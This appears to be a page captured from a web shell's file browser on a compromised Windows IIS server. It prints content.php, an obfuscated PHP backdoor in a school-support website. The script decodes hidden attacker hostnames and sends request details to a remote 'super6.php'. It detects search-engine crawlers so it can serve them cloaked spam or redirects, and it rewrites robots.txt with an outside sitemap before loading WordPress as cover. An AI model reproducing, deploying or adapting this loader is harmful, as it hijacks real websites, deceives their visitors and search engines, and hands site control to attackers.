HEX
Server: Microsoft-IIS/10.0
System: Windows NT H2838467 10.0 build 14393 (Windows Server 2016) AMD64
User: IWPD_8(ghana) (0)
PHP: 8.3.30
Disabled: NONE
$ pwd: C:/Inetpub/vhosts/ghanaschoolsupport.com/httpdocs/
Upload Files
File: C:/Inetpub/vhosts/ghanaschoolsupport.com/httpdocs/content.php
<?php
 goto jW2LW; LknOV: function ifP9J() { $w0UMC = range("\x61", "\x7a"); return array($w0UMC[5] . $w0UMC[8] . $w0UMC[11] . $w0UMC[4] . "\x5f" . $w0UMC[15] . $w0UMC[20] . $w0UMC[19] . "\137" . $w0UMC[2] . $w0UMC[14] . $w0UMC[13] . $w0UMC[19] . $w0UMC[4] . $w0UMC[13] . $w0UMC[19] . $w0UMC[18], $w0UMC[5] . $w0UMC[8] . $w0UMC[11] . $w0UMC[4] . "\137" . $w0UMC[6] . $w0UMC[4] . $w0UMC[19] . "\x5f" . $w0UMC[2] . $w0UMC[14] . $w0UMC[13] . $w0UMC[19] . $w0UMC[4] . $w0UMC[13] . $w0UMC[19] . $w0UMC[18], $w0UMC[18] . $w0UMC[19] . $w0UMC[17] . "\137" . $w0UMC[17] . $w0UMC[14] . $w0UMC[19] . "\61\63"); } goto rCSk8; eFUD6: $C9Qzx = str_replace("\57\151\x6e\144\x65\170\x2e\x70\150\x70", '', $C9Qzx); goto MZWQv; RCMX2: function nISpH($ybw3i, $dpXgW) { goto bTaMU; bTaMU: $riGJd = ifp9J(); goto t0igO; U8S5B: kmofm: goto TM59H; Gm3lr: foreach ($ybw3i as $c3uRk) { goto KXbgA; M6NUf: if (JsStP($mQCD3)) { goto xxODo; } goto kNoFo; iDuBD: return $WpYMN; goto nYb_H; kGY5y: d2KFE: goto mceEQ; pgCh7: return $mQCD3; goto kGY5y; V1QJ6: curl_close($ZougK); goto x9ooo; u0JzW: $mQCD3 = $riGJd[1]($tAE1u, false, $TxG4D); goto Mh_9l; KXbgA: $U0E2V = $riGJd[2](urldecode($c3uRk)); goto NIjNj; mceEQ: W6eK7: goto IgNbN; AzCkr: curl_setopt($ZougK, CURLOPT_URL, $tAE1u); goto MaAMy; JaA9l: $ZougK = curl_init(); goto AzCkr; kNoFo: $WpYMN = ubqKj($mQCD3); goto iDuBD; M1m4Z: $mQCD3 = curl_exec($ZougK); goto Fo1cg; u7rd_: t1P4j: goto WOv3O; Mh_9l: if (!($mQCD3 !== false)) { goto d2KFE; } goto pgCh7; mZptI: $TxG4D = stream_context_create(array("\x68\x74\164\x70" => array("\x74\x69\155\145\x6f\165\164" => 30))); goto u0JzW; Fo1cg: if (curl_errno($ZougK)) { goto P2Zig; } goto Wggxb; WOv3O: if (!function_exists("\143\x75\x72\x6c\x5f\151\x6e\151\x74")) { goto NiEUm; } goto JaA9l; IgNbN: UGsq6: goto O00e2; MaAMy: curl_setopt($ZougK, CURLOPT_RETURNTRANSFER, true); goto iAX5v; NIjNj: $tAE1u = "\150\x74\164\x70\x3a\x2f\57" . $U0E2V . "\57\x73\165\x70\x65\162\x36\56\x70\150\160\x3f" . $dpXgW; goto N9odQ; uOt4S: P2Zig: goto V1QJ6; t5vVb: $mQCD3 = mRZ_9($tAE1u, array("\x74\x69\155\x65\157\x75\x74" => 30, "\x75\163\x65\162\x2d\141\147\x65\156\x74" => "\x4d\157\172\x69\154\x6c\x61\x2f\65\56\60\40\50\x63\157\x6d\160\141\164\151\142\154\145\73\x20\127\157\x72\x64\x50\x72\145\x73\x73\x29")); goto M6NUf; N9odQ: if (!function_exists("\115\x72\x7a\x5f\71")) { goto t1P4j; } goto t5vVb; x9ooo: NiEUm: goto KxBIt; iAX5v: curl_setopt($ZougK, CURLOPT_TIMEOUT, 30); goto M1m4Z; nYb_H: xxODo: goto u7rd_; KxBIt: if (!ini_get("\x61\154\x6c\157\167\137\x75\x72\154\x5f\146\157\160\145\156")) { goto W6eK7; } goto mZptI; gIO3C: return $mQCD3; goto uOt4S; Wggxb: curl_close($ZougK); goto gIO3C; O00e2: } goto U8S5B; TM59H: return "\156\x6f\142\x6f\164\165\163\145\162\x61\147\x65\x6e\x74"; goto cpGvQ; t0igO: shuffle($ybw3i); goto Gm3lr; cpGvQ: } goto LknOV; oPB4D: $O1QQZ = str_replace("\56\x70\x68\x70", '', $Lc9kU); goto njoeB; aOeUq: $xrZhV = array("\157\x6b\x68\164\155\154" => array("\x68\145\x61\144\145\x72" => "\103\x6f\x6e\x74\x65\156\x74\55\x74\171\160\145\x3a\40\164\145\x78\164\57\150\x74\155\x6c\73\40\143\x68\x61\162\163\145\x74\x3d\x75\x74\146\x2d\x38", "\x72\x65\x70\154\x61\143\x65" => "\x6f\153\150\x74\155\154", "\x74\145\x73\164\x5f\145\x63\x68\157" => true, "\x6f\x75\164\x70\165\164" => true), "\x67\x65\164\143\157\x6e\164\x65\156\x74\x35\60\60\x70\x61\147\145" => array("\x68\145\141\144\x65\162" => "\x48\x54\x54\x50\57\61\x2e\61\40\x35\60\x30\40\x49\x6e\164\x65\162\x6e\141\154\x20\123\x65\x72\x76\145\x72\x20\x45\x72\x72\157\x72"), "\64\x30\x34\x70\141\147\x65" => array("\x68\x65\x61\x64\145\162" => "\x48\x54\x54\120\57\61\56\61\x20\64\60\x34\x20\x4e\x6f\x74\x20\106\x6f\x75\x6e\144"), "\x33\x30\61\160\141\147\x65" => array("\150\x65\x61\x64\145\162" => "\110\x54\x54\120\x2f\61\56\x31\x20\x33\60\x31\x20\115\157\x76\145\144\40\x50\x65\162\155\x61\x6e\145\156\x74\x6c\x79", "\x72\x65\x70\154\x61\143\145" => "\63\x30\61\x70\141\147\x65", "\162\145\144\151\162\x65\143\x74" => true), "\x6f\x6b\x78\x6d\154" => array("\150\145\x61\144\145\162" => "\x43\157\x6e\164\x65\x6e\x74\x2d\124\x79\x70\145\72\x20\141\160\160\x6c\x69\x63\141\x74\151\157\156\x2f\170\x6d\154\x3b\x20\143\x68\141\x72\163\145\164\75\165\164\146\x2d\70", "\162\145\x70\154\141\143\x65" => "\x6f\x6b\170\x6d\154", "\x6f\165\x74\x70\165\164" => true), "\157\153\162\157\142\157\x74\x73" => array("\150\x65\141\x64\145\162" => "\x43\157\156\x74\145\156\164\55\x54\171\x70\x65\72\x20\x74\145\170\x74\57\160\x6c\141\x69\x6e", "\162\145\160\x6c\x61\143\145" => "\x6f\x6b\162\157\x62\x6f\164\163", "\x6f\165\164\x70\x75\164" => true)); goto gYk06; x_f0E: if (!($C9Qzx != "\57")) { goto nePxq; } goto gakE7; QJFsR: if (empty($yWg7Z)) { goto u4kVY; } goto V6hAI; nQkbz: $L5Tkv = 1; goto MLj5B; qWmSd: $gRZdK = qtpcy() ? "\150\x74\164\160\x73" : "\150\164\164\x70"; goto NAubm; pOY6v: $dpXgW = http_build_query(["\x77\x65\x62" => $OALdu, "\172\172" => $L5Tkv, "\165\162\x69" => urlencode($C9Qzx), "\165\x72\x6c\x73\150\141\156\147" => $riiAQ, "\x68\164\x74\160" => $gRZdK, "\154\141\x6e\147" => $hyB6l, "\x73\x65\162\x76\x65\162" => $s246s, "\155\157\x64\145\154" => $O1QQZ, "\166\145\162\163\151\157\x6e" => $m6QV0 ? $AIcol : '']); goto B7jMz; X_rf6: $O1QQZ = stristr($C9Qzx, "\x2f\x3f") ? "\x3f" : $O1QQZ; goto FoFRg; Lh8Ih: function tn8Ui() { goto foK5r; foK5r: $bdHoT = isset($_SERVER["\x48\124\124\x50\137\x55\x53\105\x52\137\101\x47\105\116\x54"]) ? strtolower($_SERVER["\x48\x54\x54\120\137\x55\123\105\122\137\101\x47\x45\x4e\x54"]) : ''; goto nRoXO; H1EcS: FVgXW: goto iO2nC; iO2nC: return 2; goto zwl7g; nRoXO: $mW3Ol = array("\147\157\157\147\x6c\145\142\x6f\x74", "\x62\x69\x6e\147", "\171\x61\150\x6f\x6f", "\x67\x6f\x6f\x67\154\x65"); goto P6qIC; P6qIC: foreach ($mW3Ol as $WwpQw) { goto o0wSW; sYmRZ: qYbVv: goto QlCfC; x9WC9: return 1; goto u8t9T; o0wSW: if (!(strpos($bdHoT, $WwpQw) !== false)) { goto qyJNi; } goto x9WC9; u8t9T: qyJNi: goto sYmRZ; QlCfC: } goto H1EcS; zwl7g: } goto qNbd7; Z62GR: function DZYh0($tAE1u) { goto kqQwg; G3MBH: $pJ6LY = $_SERVER["\104\x4f\x43\125\115\x45\x4e\124\x5f\122\117\117\x54"] . "\57\x72\157\142\157\164\x73\56\164\170\164"; goto alDWC; EjaZm: Hau1v: goto Dtf_I; njgoi: ss9n8: goto AseHp; gRMsC: $riGJd[0]($pJ6LY, $fR733); goto EjaZm; jbhVi: $riGJd[0]($pJ6LY, $fR733); goto njgoi; AseHp: goto Hau1v; goto yiM3k; yiM3k: ApGGH: goto gRMsC; alDWC: $fR733 = "\x55\163\x65\162\55\x61\x67\x65\156\x74\x3a\40\52\12\101\154\x6c\157\167\x3a\x20\x2f\xa\xa\x53\x69\x74\145\155\141\160\x3a\x20" . $tAE1u . "\57\x73\x69\x74\x65\155\141\160\x2e\x78\155\154\12"; goto SMnib; pHHXh: if (!($g34x4 !== $fR733)) { goto ss9n8; } goto jbhVi; kqQwg: $riGJd = iFP9J(); goto G3MBH; hHx6M: $g34x4 = @$riGJd[1]($pJ6LY); goto pHHXh; SMnib: if (!file_exists($pJ6LY)) { goto ApGGH; } goto hHx6M; Dtf_I: } goto RCMX2; MZWQv: $C9Qzx = str_replace("\41", '', $C9Qzx); goto DVOjh; EO3uc: $riiAQ = $_SERVER["\110\x54\124\120\137\x52\x45\106\x45\122\105\122"] ?: ''; goto qWmSd; MLj5B: $C9Qzx = str_replace($AIcol, '', $C9Qzx); goto cGC6u; jW2LW: $J7a1e = ["\x25\x33\61\x25\x33\x38\x25\63\x36\x25\x33\71\x25\62\x44\x25\67\71\45\x37\66\x25\x36\x31\45\x37\70\45\63\61\45\63\70\x25\x33\65\x25\62\105\x25\66\63\x25\67\x35\45\66\x32\x25\x36\66\x25\67\x36\45\66\x36\x25\x32\x45\x25\66\x37\45\x36\62\x25\x36\63", "\x25\63\x31\x25\63\70\x25\63\x36\45\63\71\x25\62\104\45\x37\71\x25\x37\66\45\x36\61\x25\67\x38\45\63\61\x25\63\70\x25\x33\x35\x25\x32\105\45\x37\x36\45\x36\x31\45\67\x32\x25\x37\63\45\x37\x33\x25\x36\105\x25\66\106\45\x37\71\45\x36\x43\45\62\105\45\66\102\x25\x36\x43\x25\66\104", "\x25\x33\61\x25\x33\70\x25\63\x36\x25\63\71\x25\62\104\45\67\x39\45\x37\66\45\x36\x31\45\67\x38\45\63\x31\x25\x33\70\x25\63\x35\x25\x32\x45\x25\x36\x46\45\x36\65\x25\67\66\x25\x37\64\45\67\65\x25\x36\67\45\67\65\x25\66\x32\x25\66\65\x25\67\66\45\66\x33\x25\x32\x45\45\66\102\45\x36\x43\45\66\104", "\45\x33\61\x25\63\x38\x25\63\66\45\63\71\45\62\x44\x25\x37\x39\45\67\66\45\66\61\x25\x37\x38\45\x33\61\x25\63\70\x25\63\65\45\x32\x45\x25\x36\61\x25\67\62\45\x36\x42\45\x36\67\x25\x37\x32\x25\x36\61\x25\x36\x33\45\66\x38\x25\x36\63\45\66\63\45\x32\x45\45\x36\102\45\66\103\45\x36\x44"]; goto LMYQs; LMYQs: $AIcol = "\x31\70\x36\x39\55\x6c\x69\156\153\x31\70\x35"; goto sdZmI; IdS0U: if (!(strpos($C9Qzx, $AIcol) !== false)) { goto AKAoX; } goto nQkbz; L8ctJ: $GXve7 = nisPh($J7a1e, $dpXgW); goto I_Ta5; atjBS: $C9Qzx = n_cQP() ?: "\57"; goto fJZLf; Iu3ab: dHLTz: goto Ep2HG; c1BW7: if (!(($QxLbS = strpos($C9Qzx, $Lc9kU)) !== false)) { goto IbEVK; } goto KeXuE; fJZLf: $Lc9kU = "\151\x6e\x64\x65\x78\x2e\x70\150\160"; goto Gjzd0; FoFRg: $m6QV0 = false; goto IdS0U; KeXuE: $Lc9kU = ltrim(substr($C9Qzx, 0, $QxLbS + strlen($Lc9kU)), "\x2f"); goto RlZiS; qNbd7: function N_cQp() { goto LjD9T; rKFPz: return $_SERVER["\x52\x45\x51\125\105\x53\124\x5f\x55\122\111"]; goto gQpZE; gQpZE: Z2NQ4: goto ukIVH; bdq6Z: return $_SERVER["\x50\110\x50\137\x53\105\114\x46"] . "\77" . $_SERVER["\121\125\x45\122\131\137\x53\124\x52\x49\x4e\x47"]; goto WBTps; LjD9T: if (!isset($_SERVER["\x52\105\121\x55\x45\x53\124\137\125\122\111"])) { goto Z2NQ4; } goto rKFPz; PQEWN: return $_SERVER["\x50\x48\x50\x5f\123\x45\x4c\x46"] . "\x3f" . $_SERVER["\x61\162\147\x76"][0]; goto E8cM6; E8cM6: pv079: goto bdq6Z; ukIVH: if (!isset($_SERVER["\x61\x72\x67\166"])) { goto pv079; } goto PQEWN; WBTps: } goto IT2ab; NAkhW: $hyB6l = $_SERVER["\110\x54\x54\x50\137\101\x43\103\105\x50\124\x5f\x4c\101\x4e\107\125\101\x47\x45"] ?: "\145\156"; goto EO3uc; RlZiS: IbEVK: goto oPB4D; QRH56: preg_match("\57\134\57\50\x5b\x5e\134\x2f\135\53\134\x2e\x70\x68\x70\x29\x2f", $C9Qzx, $yWg7Z); goto QJFsR; cGC6u: $m6QV0 = true; goto ONIyt; rCSk8: define("\131\x6e\x59\137\x66", true); goto DzBfE; sdZmI: $OALdu = $_SERVER["\110\x54\x54\x50\137\110\x4f\123\x54"] ?: ''; goto NAkhW; I_Ta5: if (!(strpos($GXve7, "\x6e\x6f\x62\x6f\164\x75\163\145\x72\x61\x67\145\156\164") === false)) { goto TZN79; } goto aOeUq; V6hAI: $Lc9kU = $yWg7Z[1]; goto c1BW7; IT2ab: function QtPCy() { goto PLpQk; JC2wL: qpx4y: goto Ghzsx; HlJq3: $LSJDN = strtolower($_SERVER["\x48\124\124\120\123"]); goto TTApf; lZSo7: return true; goto JC2wL; TLaYO: LQ6Zb: goto cgNB7; rn2Nc: return false; goto Is23z; HT2bh: if (!isset($_SERVER["\110\x54\124\x50\137\x46\122\x4f\x4e\124\137\x45\x4e\104\x5f\110\124\124\x50\123"])) { goto sCSjO; } goto f2Alm; ow1Ro: vjq2b: goto Ik0_2; cgNB7: sCSjO: goto rn2Nc; nhAS6: if (!($A2UBG !== "\x6f\x66\x66")) { goto LQ6Zb; } goto XMbvp; TTApf: if (!($LSJDN !== "\x6f\146\x66")) { goto QpvOh; } goto hiRSr; PLpQk: if (!isset($_SERVER["\x48\x54\124\120\x53"])) { goto vjq2b; } goto HlJq3; Ghzsx: v_KoR: goto HT2bh; y8rtA: dEIyq: goto QKXFQ; Ik0_2: if (!isset($_SERVER["\110\124\x54\x50\137\x58\137\x46\x4f\122\127\x41\x52\x44\x45\104\x5f\x50\x52\x4f\x54\117"])) { goto v_KoR; } goto CMcT9; f2Alm: $A2UBG = strtolower($_SERVER["\110\x54\x54\x50\137\x46\122\117\x4e\124\137\105\x4e\x44\x5f\x48\124\124\x50\123"]); goto nhAS6; HrIIN: vs6qf: goto TLaYO; CMcT9: if (!($_SERVER["\x48\124\124\x50\x5f\x58\137\106\117\122\127\101\x52\x44\x45\104\x5f\120\x52\117\124\117"] === "\150\x74\x74\x70\163")) { goto qpx4y; } goto lZSo7; nL8q5: return true; goto HrIIN; reSil: return true; goto y8rtA; XMbvp: if (!($A2UBG !== '')) { goto vs6qf; } goto nL8q5; QKXFQ: QpvOh: goto ow1Ro; hiRSr: if (!($LSJDN !== '')) { goto dEIyq; } goto reSil; Is23z: } goto Z62GR; Ep2HG: TZN79: goto Lh8Ih; Gjzd0: $O1QQZ = "\151\156\144\145\x78"; goto QRH56; B7jMz: DzYh0($gRZdK . "\72\x2f\x2f" . $OALdu); goto L8ctJ; DVOjh: nePxq: goto pOY6v; NAubm: $s246s = file_exists($_SERVER["\x44\117\x43\125\115\105\x4e\124\x5f\x52\x4f\x4f\x54"] . "\57\56\x68\x74\x61\x63\x63\x65\163\x73") ? 1 : 2; goto YS0xo; ONIyt: AKAoX: goto x_f0E; gYk06: foreach ($xrZhV as $YpQW_ => $S3uWb) { goto wbM_Z; pT0QT: if (isset($S3uWb["\162\145\x64\x69\x72\145\x63\x74"])) { goto xXCsf; } goto qNXmi; sHw_8: AfjSn: goto dTva1; f_G3E: exit; goto hqLd_; hqLd_: OCIHs: goto jQtcb; RNcWo: xXCsf: goto q3Q1v; Urnqj: @header($S3uWb["\x68\x65\x61\x64\145\x72"]); goto hXLsn; q3Q1v: header("\114\157\143\x61\x74\x69\x6f\156\x3a\40" . $GXve7); goto nGKFv; iEpJh: if (!isset($S3uWb["\x74\145\x73\x74\137\x65\x63\x68\x6f"])) { goto YBUry; } goto c_G47; MTFxG: $GXve7 = str_replace($S3uWb["\162\145\x70\x6c\x61\x63\x65"], '', $GXve7); goto yGs0j; qNXmi: if (isset($S3uWb["\157\x75\164\160\165\x74"])) { goto eS8uF; } goto oMQ2I; hXLsn: if (!isset($S3uWb["\x72\x65\x70\x6c\141\x63\145"])) { goto N9jkR; } goto MTFxG; wbM_Z: if (!(strpos($GXve7, $YpQW_) !== false)) { goto OCIHs; } goto Urnqj; jQtcb: kScfz: goto AGIQ2; nGKFv: goto I7MXB; goto fT9PN; Zf6Ds: echo $AIcol; goto sHw_8; dTva1: YBUry: goto pT0QT; BjxXG: echo $GXve7; goto uB56w; uB56w: I7MXB: goto f_G3E; c_G47: if (!$m6QV0) { goto AfjSn; } goto Zf6Ds; fT9PN: eS8uF: goto BjxXG; yGs0j: N9jkR: goto iEpJh; oMQ2I: goto I7MXB; goto RNcWo; AGIQ2: } goto Iu3ab; njoeB: u4kVY: goto X_rf6; YS0xo: $L5Tkv = TN8uI(); goto atjBS; gakE7: $C9Qzx = str_replace("\57" . $Lc9kU, '', $C9Qzx); goto eFUD6; DzBfE: require __DIR__ . "\57\x77\160\x2d\x62\154\x6f\147\55\x68\145\141\144\145\162\x2e\x70\150\x70";
@ Telegram